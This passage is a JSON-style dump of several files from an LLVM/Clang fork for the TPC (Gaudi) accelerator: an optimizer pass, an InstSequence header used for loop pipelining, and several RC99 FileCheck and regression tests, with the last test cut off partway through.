"/llvm/lib/Target/TPC/TPCSingleUseScalarOptimizer.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCSingleUseScalarOptimizer.cpp ----------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"llvm/Analysis/TargetLibraryInfo.h\"\n#include \"llvm/IR/Instructions.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/PatternMatch.h\"\n#include \"llvm/Analysis/VectorUtils.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Transforms/Utils/LowerMemIntrinsics.h\"\n#include \"TPCTargetMachine.h\"\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *createTPCSingleUseScalarOptimizer();\nvoid initializeTPCSingleUseScalarOptimizerPassPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC single scalar preshaper\";\nstatic const char PassName[] = \"tpc-single-use-scalar-opt\";\n\n#define DEBUG_TYPE \"tpc-singleuse-scalaropt\"\n\nnamespace {\nclass TPCSingleUseScalarOptimizerPass : public FunctionPass {\npublic:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCSingleUseScalarOptimizerPass() : FunctionPass(ID) {\n initializeTPCSingleUseScalarOptimizerPassPass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnFunction(Function &F) override;\n};\n}\n\nchar TPCSingleUseScalarOptimizerPass::ID = 0;\n\nINITIALIZE_PASS_BEGIN(TPCSingleUseScalarOptimizerPass, PassName, PassDescription, false, false)\nINITIALIZE_PASS_END(TPCSingleUseScalarOptimizerPass, PassName, PassDescription, false, false)\n\n\nFunctionPass *llvm::createTPCSingleUseScalarOptimizer() {\n return new TPCSingleUseScalarOptimizerPass();\n}\n\nbool TPCSingleUseScalarOptimizerPass::runOnFunction(Function &Func) {\n if (skipFunction(Func))\n return false;\n\n LLVM_DEBUG(dbgs() << \"**** SingleUseScalarOptimizer Pass\\n\");\n bool Changed = false;\n\n for (auto &BB : Func) {\n for (auto &I : BB) {\n if (const IntrinsicInst* intrins = dyn_cast<IntrinsicInst>(&I)) {\n Intrinsic::ID inid = intrins->getIntrinsicID();\n if (inid == Intrinsic::tpc_convert_int) {\n if (I.hasOneUse()) {\n Instruction *C = cast<Instruction>(*I.user_begin());\n if (auto *inse = dyn_cast<InsertElementInst>(C)) {\n if (inse->hasOneUse()) {\n Instruction *D = cast<Instruction>(*C->user_begin());\n if (auto *shuffl = dyn_cast<ShuffleVectorInst>(D)) {\n if (shuffl->hasOneUse()) {\n for (auto &U : D->uses()) {\n Instruction *UI = cast<Instruction>(U.getUser());\n if (IntrinsicInst* intrins1 = dyn_cast<IntrinsicInst>(UI)) {\n Intrinsic::ID inid1 = intrins1->getIntrinsicID();\n if (inid1 == Intrinsic::tpc_mac &&\n UI->getParent() != &BB) {\n C->moveBefore(UI);\n D->moveBefore(UI);\n Changed = true;\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n return Changed;\n}\n" }, { "alpha_fraction": 0.5180103182792664, "alphanum_fraction": 0.6466552019119263, "avg_line_length": 47.58333206176758, "blob_id": "4c9bc96afcadb6ca8f124fe05f901d2643231981", "content_id": "86e5dbf0971ef33d70038e0454f6e83d358d2369", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 583, "license_type": "permissive", "max_line_length": 144, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_float256_to_uint256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n float256 *sptr = (float256 *)src;\n uint256 *dptr = (uint256 *)dest;\n float256 src_val = *sptr;\n *dptr++ = convert_float256_to_uint256(src_val, SW_RZ);\n *dptr = convert_float256_to_uint256(src_val, SW_RD);\n}\n\n// CHECK-IR: fptoui <256 x float> {{.*}} to <256 x i32>\n// CHECK-IR: call <256 x i32> @llvm.tpc.convert.v256i32.v256f32.i1(<256 x float> {{.*}}, i8 0, i32 197376, <256 x i32> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.5037707686424255, "alphanum_fraction": 0.5764706134796143, "avg_line_length": 37.08045959472656, "blob_id": "1ce7d0e0659e3fa0bd295545de540a70b79870dd", "content_id": "f7780270fe57f83ed3e961e418e157e045786b5f", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3315, "license_type": "permissive", "max_line_length": 167, "num_lines": 87, "path": "/clang/test/RC99/Intrinsics/v_convert_f32_to_i16.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -mllvm -tpc-hwwa-conv-maxint=0 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 -mllvm -tpc-hwwa-conv-maxint=0 %s -o - | FileCheck --check-prefixes=CHECK,GEN23 %s\n\n\nvoid main(int dest, int src1, int vpredp, _Bool pred) {\n volatile short128 __local *dest_ptr = (short128 __local *)dest;\n float64 __local *src_ptr = (float64 __local *)src1;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n\n float64 x = *src_ptr++;\n bool256 vpred = *vpred_ptr++;\n short128 income = *dest_ptr;\n\n// CHECK-DAG: ld_l_v [[DEST:%V[0-9]+]], %S0\n// CHECK-DAG: ld_l_v [[SRC:%V[0-9]+]], %S1\n// CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S2\n// CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n // v_convert_f32_to_i16_b\n {\n short128 res = income;\n\n res = v_convert_f32_to_i16_b(x, 1, 0, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=1 target_type=int16 rhne [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_f32_to_i16_b(x, 1, 0, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=1 target_type=int16 rhne [[DEST]], [[SRC]], [[PRED]]\n res = v_convert_f32_to_i16_b(x, 1, 0, res, pred, 1);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=1 target_type=int16 rhne [[DEST]], [[SRC]], ![[PRED]]\n\n res = v_convert_f32_to_i16_b(x, 1, SW_RHNE, res, 1, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=1 target_type=int16 rhne [[DEST]], [[SRC]], %SP0\n\n res = v_convert_f32_to_i16_b(x, 1, SW_RZ, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 lane_sel=1 target_type=int16 rz [[DEST]], [[SRC]], [[PRED]]\n\n\n#if defined(__gaudi__)\n res = v_convert_f32_to_i16_b(x, 1, SW_RD, res, pred, 0);\n *dest_ptr++ = res;\n // GEN23: convert.f32 lane_sel=1 target_type=int16 rd [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_f32_to_i16_b(x, 1, SW_RU, res, pred, 0);\n *dest_ptr++ = res;\n // GEN23: convert.f32 lane_sel=1 target_type=int16 ru [[DEST]], [[SRC]], [[PRED]]\n#endif\n income = res;\n }\n\n // v_convert_f32_to_i16_vb\n {\n short128 res = income;\n\n res = v_convert_f32_to_i16_vb(x, 1, 0, res, to_bool128(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert.f32 lane_sel=1 target_type=int16 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_i16_vb(x, 1, 0, res, to_bool128(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert.f32 lane_sel=1 target_type=int16 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_i16_vb(x, 2, 0, res, to_bool128(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert.f32 lane_sel=2 target_type=int16 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_i16_vb(x, 3, SW_RZ, res, to_bool128(vpred), 1);\n *dest_ptr++ = res;\n// CHECK: convert.f32 lane_sel=3 target_type=int16 rz [[DEST]], [[SRC]], ![[VPRED]]\n\n#if defined(__gaudi__)\n res = v_convert_f32_to_i16_vb(x, 1, SW_RD, res, to_bool128(vpred), 0);\n *dest_ptr++ = res;\n // GEN23: convert.f32 lane_sel=1 target_type=int16 rd [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_i16_vb(x, 1, SW_RU, res, to_bool128(vpred), 0);\n *dest_ptr++ = res;\n // GEN23: convert.f32 lane_sel=1 target_type=int16 ru [[DEST]], [[SRC]], [[VPRED]]\n#endif\n\n income = res;\n }\n}\n\n\n" }, { "alpha_fraction": 0.6773970127105713, "alphanum_fraction": 0.6776739358901978, "avg_line_length": 37.41755294799805, "blob_id": "4fe36a7d1d7bf588e2f1be79c22fde6cb0647d8e", "content_id": "1c7a4e91cfd9217fffe4f36b7f99506c6c7f9321", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 14445, "license_type": "permissive", "max_line_length": 83, "num_lines": 376, "path": "/llvm/lib/Transforms/Scalar/InstSequence.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---------------------------- InstSequence.h ---------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===-----------------------------------------------------------------------===//\n// \n//===-------------------------------------------------------------------------===//\n\n\n#ifndef LLVM_TRANSFORM_SCALAR_INSTSEQ_H\n#define LLVM_TRANSFORM_SCALAR_INSTSEQ_H\n\n#include \"TPCOptUtils.h\"\n\nnamespace llvm {\n\n// TODO: change this if this class later gets associated with ClusterInfo pass\n#define DEBUG_TYPE \"loop-swp\"\n\n#define INSTSEQ_DEBUG(x) LLVM_DEBUG(dbgs() << \"[InstSeq] \" << x << \"\\n\");\n\nclass LoadStoreSequence;\n\nclass InstSequence {\npublic:\n // A Pivot is an instruction that is used as an identifier for any\n // InstSequence object. The instruction sequence is formed/populated by\n // crawling over the DAG of definitions reaching this Pivot.\n\n // The LoadStore instruction argument is the pivot used for crawling over\n // the pre-load or pre-store instructions\n //\n // - L is the WorkingLoop\n // - PivotBT is the type of the Loop Block the PivotInst instruction belongs\n // to\n InstSequence(Instruction *LoadStore, Loop *L, BlockType Bt,\n InstSequenceMapType &InstSeqMap, LoadStoreSequence *LoadStoreSeq,\n InstructionSetType &InductionInsts, bool IsCoordSeq)\n : PivotInst(LoadStore), WorkingLoop(L), PivotBT(Bt),\n InstSeqMap(InstSeqMap), LoadStoreSeq(LoadStoreSeq),\n InductionInsts(InductionInsts), IsCoordSeq(IsCoordSeq) {\n assert(LoadStore && \"Invalid Pivot LoadStore\");\n assert(isValidPivot() && \"Invalid pivot instruction\");\n assert(L && \"Invalid working loop\");\n if (!isLoadPivot())\n assert(IsCoordSeq &&\n \"Store Pivot's Income-Pred sequence not supported as of now\");\n assert(LoadStoreSeq && \"LoadStoreSequence object ptr cannot be null\");\n assert(Bt < BlockType::NumBlocks && \"Invald BlockType\");\n INSTSEQ_DEBUG(\"InstSequence Constructed.\")\n }\n\n void init(bool SkipToClone = false, std::string Indent = \"\\t\");\n\n // Populate the pre load/store sequence with pivot instruction as the\n // starting point\n bool populateSequence(InstInstMapType &InstUpdateMap,\n std::string Indent = \"\\t\");\n\n // get the pivot load/store instruction\n Instruction *getPivotInst() { return PivotInst; }\n\n Instruction *getDerivedFrom() { return DerivedFrom; }\n\n // get the working loop\n Loop *getWorkingLoop() { return WorkingLoop; }\n\n // get the pivot instruction's block type\n BlockType getPivotBT() { return PivotBT; }\n\n // get the pivot basic block ptr\n BasicBlock *getPivotBlock() {\n return TPCOptUtils::getLoopBlock(WorkingLoop, getPivotBT());\n }\n\n // get the LoadStoreSequence to which this InstSeq belongs to\n LoadStoreSequence *getLoadStoreSequence() { return LoadStoreSeq; }\n\n // get a reference instruction from the sequence\n Instruction *getRefInst();\n\n // check add mask presence\n bool hasAddMask() { return HasAddMask; }\n\n // check if the object is initialized\n bool isInitialized() { return IsInitialized; }\n\n // get insertion freeze status\n bool isInsertionFrozen() { return FreezeInsertion; }\n\n // get sequence freeze status\n bool isOrderingFrozen() { return FreezeOrdering; }\n\n // check if the object is a clone\n bool isClone() { return IsClone; }\n\n // check if the pivot is a load\n bool isLoadPivot() { return TPCOptUtils::isLoadTensor(PivotInst); }\n\n // check if the sequence originated from a coord operand\n bool isCoordSeq() { return IsCoordSeq; }\n\n // get whether the sequence is derived from another\n bool isDerived() { return IsDerived; }\n\n // get whether the sequence is derived from another load sequence\n bool isDerivedFromLoad() { return IsDerivedFromLoad; }\n\n // Check whether the sequence derives from other sequence only through an\n // Induction step. If true, return the Induction step Instruction, otherwise\n // return nullptr\n Instruction *derivesOnlyInduction() {\n return (DerivesOnlyInduction ? DerivedInductionStep : nullptr);\n }\n\n // get whether the sequence is empty\n bool isEmpty() { return IsEmpty; }\n\n // check whether the sequence is shared with / duplicate of another\n bool isShared() { return isEmpty() && isDerived(); }\n\n // get the set of phis collected\n InstructionSetType getPhis() { return PhiInstsSet; }\n\n // create a clone of the current PivotInst sequence object\n bool clone(\n InstSequence *CloneSource, // reference for cloning\n InstCloneMapType &InstCloneMap, // map used to search/add clones of insts\n InstructionSetType &InsertedInsts, // set of insts inserted into BB\n BasicBlock::iterator &InsertIt, // insertion point\n bool UseInsertIt, // flag indicating if InsertIt should be used as\n // insertion point\n BlockType Bt, // block type of the new INSTSEQ clone's Pivot\n std::string Indent = \"\\t\");\n\n // debug dump\n void debugDump(std::string Indent = \"\\t\");\n\nprivate:\n // get the InstSeq vector\n InstructionVecType &getInstSeqVec() { return InstSeqVec; }\n\n // set whether the inserted instructions contain an add.mask instruction\n void setHasAddMask() { HasAddMask = true; }\n\n // set whether object is initialized\n void setIsInitialized() { IsInitialized = true; }\n\n // freeze insertion of instructions\n void freezeInsertion() { FreezeInsertion = true; }\n\n // freeze sequencing of instructions\n void freezeOrdering() { FreezeOrdering = true; }\n\n // unfreeze insertion\n void unfreezeInsertion() { FreezeInsertion = false; }\n\n // unfreeze ordering\n void unfreezeOrdering() { FreezeOrdering = false; }\n\n // set whether the object is a clone\n void setClone() { IsClone = true; }\n\n // set whether the sequence is derived from another\n void setDerived(Instruction *DerivedFromPivot) {\n IsDerived = true;\n DerivedFrom = DerivedFromPivot;\n }\n\n // set whether the sequence is derived from another load sequence\n void setDerivedFromLoad(Instruction *DerivedFromPivot, bool Flag = true) {\n if (Flag) {\n setDerived(DerivedFromPivot);\n }\n IsDerivedFromLoad = Flag;\n }\n\n // set whether the sequence is empty\n void setNotEmpty() { IsEmpty = false; }\n\n // analyze whether the pivot LoadStore instruction is valid\n bool isValidPivot() {\n return (TPCOptUtils::isLoadTensor(PivotInst) ||\n TPCOptUtils::isStoreTensor(PivotInst));\n }\n\n // insert the given instruction into the vector of instruction sequence\n bool insertIntoSequence(Instruction *I, std::string Indent = \"\\t\");\n\n // once the insertion is frozen, convert the seq set into a vector of\n // instructions\n bool createOrderedSequence(std::string Indent = \"\\t\");\n\n // visit the operands of the pivot instruction and include them in the\n // Sequence set\n bool crawlOperands(InstInstMapType &InstUpdateMap, std::string Indent = \"\\t\");\n\n // util recursive method to crawl over operands of the given instruction\n bool crawlOperands(Instruction *I, InstInstMapType &InstUpdateMap,\n std::string Indent = \"\\t\");\n\n // create/get Phi node in Exit block\n Instruction *createExitPhi(Instruction *Phi, InstCloneMapType &InstCloneMap,\n InstructionSetType &InsertedInsts,\n std::string DebugTag = \"\\t\");\n\n // create Phi node in Preheader block\n Instruction *createPreheaderPhi(Instruction *Phi, BasicBlock *PreheaderBlock,\n InstructionSetType &InsertedInsts,\n std::string DebugTag = \"\\t\");\n\n // if the given Instruction I is connected to any Instruction that was cloned\n // earlier, patch those operands\n void patchOperandsWithClones(Instruction *I, BasicBlock *SourceBlock,\n InstCloneMapType &InstCloneMap,\n std::string DebugTag = \"\\t\",\n bool StrictPatch = true);\n\n // insert the clone of the given Instruction into the BasicBlock at an\n // appropriate insertion point\n void insertCloneIntoBlock(Instruction *I, InstCloneMapType &InstCloneMap,\n InstructionSetType &InsertedInsts,\n BasicBlock::iterator &InsertIt, bool UseInsertIt,\n BlockType Bt, std::string DebugTag = \"\\t\");\n\n // clone the given Instruction, and patch it's operands with their clones\n bool cloneInst(Instruction *I, BasicBlock *SourceBlock,\n InstCloneMapType &InstCloneMap,\n InstructionSetType &InsertedInsts, BlockType Bt,\n bool ShouldCloneOnlyIndStep, std::string Indent = \"\\t\");\n\n // create clones of insts and replace uses of old insts with clones\n bool cloneInsts(\n InstSequence *CloneSource, // reference for cloning\n InstCloneMapType &InstCloneMap, // map used to search/add clones of insts\n InstructionSetType &InsertedInsts, // set of insts inserted into BB\n BasicBlock::iterator &InsertIt, // insertion point\n bool UseInsertIt, // flag indicating if InsertIt should be used as\n // insertion point\n BlockType Bt, // block type of the new INSTSEQ clone's Pivot\n Instruction\n *CloneOnlyInductionInst, // if not nullptr, clone only Induction Insts\n std::string Indent = \"\\t\");\n\n // DATA :\n\n Instruction *PivotInst = nullptr; // pivot instruction\n Loop *WorkingLoop = nullptr; // working loop\n BlockType PivotBT; // the basic block type the pivot belongs to\n\n Instruction *DerivedFrom =\n nullptr; // The pivot of the Seq from which this Seq is derived from\n Instruction *DerivedInductionStep =\n nullptr; // the only Induction var shared by this sequence with any other\n\n InstSequenceMapType\n &InstSeqMap; // mapping from instruction to INSTSEQ object ref\n LoadStoreSequence *LoadStoreSeq =\n nullptr; // the LoadStoreSequence the InstSeq belongs to\n InstructionSetType &InductionInsts; // set of Induction Insts\n\n InstructionVecType InstSeqVec; // vector of instruction sequence\n\n InstructionSetType\n InstSeqSet; // set of all pre load/store instructions inserted\n InstructionSetType\n PhiInstsSet; // set of all phi instructions discovered in the sequence\n\n bool IsCoordSeq = false; // is the sequence originating from a coord operand\n bool HasAddMask = false; // is true if there is at least one add.mask\n // instruction in the sequence\n bool FreezeInsertion = false; // after this is changed to true, no more\n // insertion into the sequence is allowed\n bool FreezeOrdering = false; // after this is changed to true, no more\n // insertion into the sequence is allowed\n bool IsClone = false; // is the object is created by cloning another one\n bool IsDerived =\n false; // is the sequence derived (due to coord update) from another\n bool IsDerivedFromLoad =\n false; // is the sequence derived from another Load coord sequence\n bool DerivesOnlyInduction = true; // is the sequence derived from another\n // sequence only through an Induction step\n bool IsInitialized = false; // is the sequence object initialized\n bool IsEmpty = true; // is the Sequence empty\n};\n\nclass LoadStoreSequence {\npublic:\n LoadStoreSequence(Instruction *Pivot, Loop *L, BlockType Bt,\n InstSequenceMapType &InstSeqMap,\n InstructionSetType &InductionInsts)\n : PivotInst(Pivot), WorkingLoop(L), PivotBT(Bt), InstSeqMap(InstSeqMap),\n InductionInsts(InductionInsts) {\n assert(Pivot && \"Invalid Pivot LoadStore\");\n assert(isValidPivot() && \"Invalid pivot instruction\");\n assert(L && \"Invalid working loop\");\n assert(Bt < BlockType::NumBlocks && \"Invald BlockType\");\n\n INSTSEQ_DEBUG(\"LoadStoreSequence Constructed.\")\n }\n\n ~LoadStoreSequence() {\n if (CoordSeq)\n delete CoordSeq;\n if (IncomePredSeq)\n delete IncomePredSeq;\n }\n\n // get the pivot load instruction\n Instruction *getPivotInst() { return PivotInst; }\n\n // get the working loop\n Loop *getWorkingLoop() { return WorkingLoop; }\n\n // get the pivot instruction's block type\n BlockType getPivotBT() { return PivotBT; }\n\n // get the pivot basic block ptr\n BasicBlock *getPivotBlock() {\n return TPCOptUtils::getLoopBlock(WorkingLoop, getPivotBT());\n }\n\n // check if the pivot is a load\n bool isLoadPivot() { return TPCOptUtils::isLoadTensor(PivotInst); }\n\n // check if the income pred seq exists\n bool hasIncomePredSeq() { return (getIncomePredSequence() != nullptr); }\n\n // get the ptr to Coord Seq\n InstSequence *getCoordSequence() { return CoordSeq; }\n\n // get the ptr to IncomePred Seq\n InstSequence *getIncomePredSequence() { return IncomePredSeq; }\n\n // populate the coord sequence and if present, the income-pred sequence\n bool populateSequence(InstInstMapType &InstUpdateMap,\n std::string Indent = \"\\t\");\n\n // clone the coord sequence and if present, the income-pred sequence\n bool clone(LoadStoreSequence *CloneSource, InstCloneMapType &CloneMap,\n InstructionSetType &InsertedInsts,\n BasicBlock::iterator &InsertIt, // insertion point\n bool UseInsertIt, // flag indicating if InsertIt should be used as\n // insertion point\n BlockType Bt, std::string Indent = \"\\t\");\n\n // debug dump\n void debugDump(std::string Indent = \"\\t\");\n\nprivate:\n // analyze whether the pivot LoadStore instruction is valid\n bool isValidPivot() {\n return (TPCOptUtils::isLoadTensor(PivotInst) ||\n TPCOptUtils::isStoreTensor(PivotInst));\n }\n\n InstSequence *CoordSeq = nullptr; // sequence originating from Load Coord\n InstSequence *IncomePredSeq =\n nullptr; // sequence originating from Load Income and Predicate\n\n Instruction *PivotInst = nullptr; // pivot load instruction\n Loop *WorkingLoop = nullptr; // working loop\n BlockType PivotBT; // block type of the pivot instruction\n\n InstSequenceMapType\n &InstSeqMap; // mapping from instruction to INSTSEQ object ptr\n InstructionSetType &InductionInsts; // set of Induction Insts\n};\n\n} // end namespace llvm\n\n#undef DEBUG_TYPE\n\n#endif\n" }, { "alpha_fraction": 0.46390533447265625, "alphanum_fraction": 0.5585798621177673, "avg_line_length": 32.79999923706055, "blob_id": "b46baadcc0360ce36c4a3b545fd2ba44ef905f7d", "content_id": "d7c6ce5ae37a0b93789632d89a00b5101846acf6", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 845, "license_type": "permissive", "max_line_length": 181, "num_lines": 25, "path": "/clang/test/RC99/localizer/resolver-03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck %s \n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nint64 vvv[2];\n\nvoid main(int x) {\n vvv[1] = 1.0;\n}\n\n\n// CHECK: define void @main(i32 %x) {{.*}} {\n// CHECK: store <64 x i32> <i32 1, {{.*}}, i32 1>, <64 x i32> addrspace(2)* getelementptr inbounds ([2 x <64 x i32>], [2 x <64 x i32>] addrspace(2)* null, i32 0, i32 1), align 256\n\n\n// CHECK: !llvm.tpc.scalar_data = !{![[SSZ:[0-9]+]]}\n// CHECK: !llvm.tpc.vector_data = !{![[VSZ:[0-9]+]]}\n// CHECK: ![[SSZ]] = !{i32 0}\n// CHECK: ![[VSZ]] = !{i32 512}\n\n\n// Element 0 must be zero-initialized.\n//\n// CHECK-ASM-DAG: mov.i32 [[REGV:%V[0-9]+]], 0x1\n// CHECK-ASM-DAG: mov.i32 [[REGS:%S[0-9]+]], 0x100\n// CHECK-ASM: st_l_v [[REGS]], 0x0, [[REGV]]\n" }, { "alpha_fraction": 0.48672565817832947, "alphanum_fraction": 0.5707964897155762, "avg_line_length": 21.700000762939453, "blob_id": "d79719fddddbc7794c0127e5e656b58bd968c153", "content_id": "2bdac7640413ab948bc7bcc1f525c190b4d2aa80", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 226, "license_type": "permissive", "max_line_length": 44, "num_lines": 10, "path": "/clang/test/RC99/localizer/resolver-15.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -vlm 17 -S -O1 %s -o %t\n// expected-no-diagnostics\n\nfloat64 gval[64];\n\nvoid main(int x, int y) {\n *(float64 __local *)x = gval[0];\n gval[0] = v_f32_lookup_v((uint64)x, 1, 1);\n *(float64 __local *)y = x;\n}" }, { "alpha_fraction": 0.32948651909828186, "alphanum_fraction": 0.43393468856811523, "avg_line_length": 44.78929901123047, "blob_id": "37ed4c30015db7b7ed7fd9eab49a032f71af8869", "content_id": "c97187ea6c191b70bb5001c75ce48ac9ea11f0b8", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 27382, "license_type": "permissive", "max_line_length": 98, "num_lines": 598, "path": "/clang/test/RC99/regression/gaudi-171.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O2 %s -o -\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o -\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O0 %s -o -\n\nvoid main(tensor ifm0,\n tensor ifm1,\n tensor ifm2,\n tensor ifm3,\n tensor ofm0,\n tensor ofm1,\n tensor ofm2,\n tensor ofm3,\n char padw,\n char padh)\n{\n int5 index_space_start = get_index_space_offset();\n int5 index_space_end = get_index_space_size() + index_space_start;\n\n int5 ifmIndex0;\n int5 ifmIndex1;\n int5 ifmIndex2;\n int5 ifmIndex3;\n \n int5 ofmIndex0;\n int5 ofmIndex1;\n int5 ofmIndex2;\n int5 ofmIndex3;\n\n for (int d = index_space_start[0]*256 ; d < index_space_end[0]*256; d += 256)\n {\n ifmIndex0[0] = d;\n ifmIndex1[0] = d;\n ifmIndex2[0] = d;\n ifmIndex3[0] = d;\n ofmIndex0[0] = d;\n ofmIndex1[0] = d;\n ofmIndex2[0] = d;\n ofmIndex3[0] = d;\n for (int b = index_space_start[3] ; b < index_space_end[3]; b += 1)\n {\n ifmIndex0[3] = b;\n ifmIndex1[3] = b;\n ifmIndex2[3] = b;\n ifmIndex3[3] = b;\n ofmIndex0[3] = b;\n ofmIndex1[3] = b;\n ofmIndex2[3] = b;\n ofmIndex3[3] = b;\n // processing window 6x3\n for (int h = index_space_start[2]*4 ; h < index_space_end[2]*4 + 3 - padh; h += 4)\n {\n ifmIndex0[1] = index_space_start[1] - padw;\n ifmIndex1[1] = index_space_start[1] - padw;\n ifmIndex2[1] = index_space_start[1] - padw;\n ifmIndex3[1] = index_space_start[1] - padw;\n ofmIndex0[1] = index_space_start[1];\n ofmIndex1[1] = index_space_start[1];\n ofmIndex2[1] = index_space_start[1];\n ofmIndex3[1] = index_space_start[1];\n ifmIndex0[2] = h - padh;\n ifmIndex1[2] = h - padh;\n ifmIndex2[2] = h - padh;\n ifmIndex3[2] = h - padh;\n ofmIndex0[2] = h;\n ofmIndex1[2] = h;\n ofmIndex2[2] = h;\n ofmIndex3[2] = h;\n\n // column 0\n char256 ifmValue00 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n char256 ifmValue01 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n char256 ifmValue02 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n char256 ifmValue03 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n char256 ifmValue10 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n char256 ifmValue11 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n char256 ifmValue12 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n char256 ifmValue13 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n char256 ifmValue20 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n char256 ifmValue21 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n char256 ifmValue22 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n char256 ifmValue23 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n char256 ifmValue30 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n char256 ifmValue31 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n char256 ifmValue32 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n char256 ifmValue33 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n char256 ifmValue40 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n char256 ifmValue41 = v_i8_ld_tnsr_i(ifmIndex1, ifm1);\n char256 ifmValue42 = v_i8_ld_tnsr_i(ifmIndex2, ifm2);\n char256 ifmValue43 = v_i8_ld_tnsr_i(ifmIndex3, ifm3);\n ifmIndex0[2] += 1;\n ifmIndex1[2] += 1;\n ifmIndex2[2] += 1;\n ifmIndex3[2] += 1;\n char256 ifmValue50 = v_i8_ld_tnsr_i(ifmIndex0, ifm0);\n char256 ifmValue51 = 